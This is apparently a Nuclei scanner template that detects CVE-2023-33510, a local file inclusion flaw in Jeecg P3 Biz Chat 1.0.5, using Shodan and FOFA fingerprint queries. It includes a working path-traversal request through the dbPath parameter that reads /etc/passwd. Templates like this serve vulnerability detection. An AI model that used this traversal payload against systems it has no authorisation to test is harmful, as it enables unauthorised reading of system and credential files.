id: CVE-2023-33510

info:
  name: Jeecg P3 Biz Chat - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    Jeecg P3 Biz Chat 1.0.5 allows remote attackers to read arbitrary files through specific parameters.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire system.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in Jeecg P3 Biz Chat.
  reference:
    - https://twitter.com/momika233/status/1670701256535572481
    - https://carl1l.github.io/2023/05/08/jeecg-p3-biz-chat-1-0-5-jar-has-arbitrary-file-read-vulnerability/
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-33510
    - https://github.com/izj007/wechat
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-33510
    cwe-id: CWE-668
    epss-score: 0.04042
    epss-percentile: 0.89304
    cpe: cpe:2.3:a:jeecg_p3_biz_chat_project:jeecg_p3_biz_chat:1.0.5:*:*:*:*:wordpress:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: jeecg_p3_biz_chat_project
    product: jeecg_p3_biz_chat
    framework: wordpress
    shodan-query: http.favicon.hash:1380908726
    fofa-query: icon_hash=1380908726
  tags: cve2023,cve,jeecg,lfi,jeecg_p3_biz_chat_project,wordpress,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/chat/imController/showOrDownByurl.do?dbPath=../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402206003d4119a9da24ada53d6c164c03f84f5a06d340a77674b7afb8966a848118c0220411ce60868163458a3e80980a7d354cc5fa19d64f4868c9409b216335285c672:922c64590222798bb761d5b6d8e72950